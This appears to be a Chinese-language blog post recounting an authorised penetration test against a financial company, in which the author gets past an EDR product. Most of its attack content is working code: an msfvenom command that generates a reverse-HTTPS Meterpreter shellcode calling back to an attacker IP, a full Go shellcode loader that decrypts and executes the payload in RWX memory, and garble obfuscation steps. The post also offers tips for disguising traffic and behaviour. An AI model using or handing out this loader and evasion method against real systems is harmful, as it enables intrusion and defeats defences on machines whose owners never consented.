一、一次“失败”的红队渗透行动
某次受邀进行授权渗透测试时,我的任务是攻破一家金融公司的内网系统。按照常规流程,我完成了外部信息收集,发现目标使用了一款老旧的 Web 应用托管平台作为对外服务入口。通过扫描,我定位到一个未打补丁的文件上传漏洞,并成功在服务器上上传了一个 Webshell。
然而,当我尝试进一步执行命令时,发现目标系统部署了一款知名 EDR(Endpoint Detection and Response)产品,所有的简单恶意载荷(如 Metasploit 生成的 payload)都被直接拦截,无论是静态检测还是运行时行为。即使我尝试对恶意代码进行加壳和混淆,也未能绕过。
这让我意识到,仅仅依赖常规生成的载荷,已经不足以对抗当前的防御系统。于是,我决定从构造和免杀技术入手,设计一个专属载荷,突破目标防御。在这篇文章里,我会完整分享这个案例背后的免杀技巧,以及恶意载荷实现的全过程。
---
二、Payload 的隐匿之道
让一个恶意载荷“隐形”,通常有以下两方面需要攻克:静态检测 和 动态分析。
静态检测的挑战
静态检测主要通过扫描文件特征(如哈希值、特定字符串、结构模式)来判断是否恶意。市面上的杀软/EDR 已经对常见的渗透工具(如 Meterpreter、Cobalt Strike)特征库积累颇深,稍不注意就会触发报警。
解决方法:自定义加载器 + 文件混淆
- 避开已知特征:不直接使用公开生成的载荷,而是通过自定义工具生成全新的恶意代码。
- 代码混淆与加壳:对代码进行加密,运行时在内存中解密并加载,避免直接暴露恶意代码内容。
动态分析的对抗
动态分析更加麻烦,EDR 会通过行为检测(如进程注入、内存读写、系统调用)来捕捉异常动作。
解决方法:控制行为 + 流量伪装
- 延迟加载关键模块:在执行阶段动态调用敏感函数,避免被提前标记。
- 伪装合法操作:模仿正常程序的调用流程,混淆恶意行为。
接下来,我们会通过一个实战案例,结合 Go 语言演示如何实现一款免杀载荷。
---
三、用 Go 构造载荷:从基础到免杀
测试环境准备
- 攻击者机器:Kali Linux(作为控制端)。
- 目标机器:Windows 10(安装 EDR)。
- 工具链:
msfvenom用于生成初始的 shellcode。- Go 语言(版本 1.20+)用于编写加载器。
- Obfuscator 工具(如 garble)用于代码混淆。
生成初始 Shellcode
我们使用 msfvenom 生成带有反向连接功能的 shellcode。
<pre><code class="language-bash"># 生成 64 位 Windows shellcode,监听 443 端口 msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw -o shellcode.bin</code></pre>
构建加载器
以下是用 Go 编写的恶意载荷加载器。它会将 shellcode 加密存储,并在运行时解密执行。
<pre><code class="language-go">package main
import ( "crypto/aes" "crypto/cipher" "encoding/base64" "syscall" "unsafe" )
// 加密后的 shellcode var encryptedShellcode = "你的加密后的 shellcode base64 字符串"
// AES 密钥 var key = []byte("16字节的AES密钥")
func decryptShellcode(encrypted string, key []byte) []byte { // Base64 解码 cipherText, _ := base64.StdEncoding.DecodeString(encrypted)
// 使用 AES 解密 block, _ := aes.NewCipher(key) iv := cipherText[:aes.BlockSize] cipherText = cipherText[aes.BlockSize:] stream := cipher.NewCFBDecrypter(block, iv) stream.XORKeyStream(cipherText, cipherText) return cipherText }
func main() { // 解密 shellcode shellcode := decryptShellcode(encryptedShellcode, key)
// 分配内存 addr, _, _ := syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc").Call( 0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40, )

if addr == 0 { panic("Failed to allocate memory") }
// 将 shellcode 写入分配的内存 _, _, _ = syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Call( addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), )
// 创建线程执行 shellcode _, _, _ = syscall.NewLazyDLL("kernel32.dll").NewProc("CreateThread").Call( 0, 0, addr, 0, 0, 0, )
// 阻止程序退出 select {} }</code></pre>
代码中的技巧:
- AES 加密 shellcode:避免静态扫描时直接暴露。
- 动态内存加载:将 shellcode 写入内存,并通过线程执行。
- API 延迟加载:用
NewLazyDLL动态导入函数,进一步降低静态特征。

---
四、攻防博弈:对抗 EDR 的技巧升级

即使我们完成了上述代码,依然不能保证百分百免杀。以下是进一步绕过检测的方法:
改进加载器
- 混淆代码逻辑:使用工具(如 garble)对代码进行混淆,增加逆向难度。
- 内存段伪装:创建具有合法签名的内存区域,伪装为普通模块。
<pre><code class="language-bash"># 使用 garble 混淆编译 go build -o loader.exe main.go garble -literals build -o loader_obfuscated.exe main.go</code></pre>
避免行为分析
- 模拟合法流量:反向连接时,模仿正常 HTTPS 的握手和数据包大小。
- 代码分层处理:将关键功能分离到子进程中,减少单个进程的恶意行为特征。
---
五、实战结果与思考
这次渗透行动的最终结果是成功绕过目标的 EDR,稳定建立了反向连接通道。以下是一些关键的反思:
- 免杀是对抗的艺术:EDR 的检测能力在不断升级,攻击者需要随时调整策略,保持工具更新。
- 攻击链完整性:不仅要关注免杀本身,还需要关注后续横向移动和数据窃取的隐匿性。
- 合法伪装的重要性:无论是流量还是行为,模仿合法操作是当前绕过检测的核心思路。
至此,我们的免杀之旅告一段落。希望本文的内容能为你的渗透测试工作带来新的灵感。记住:一切技术仅限于授权场景下的安全测试!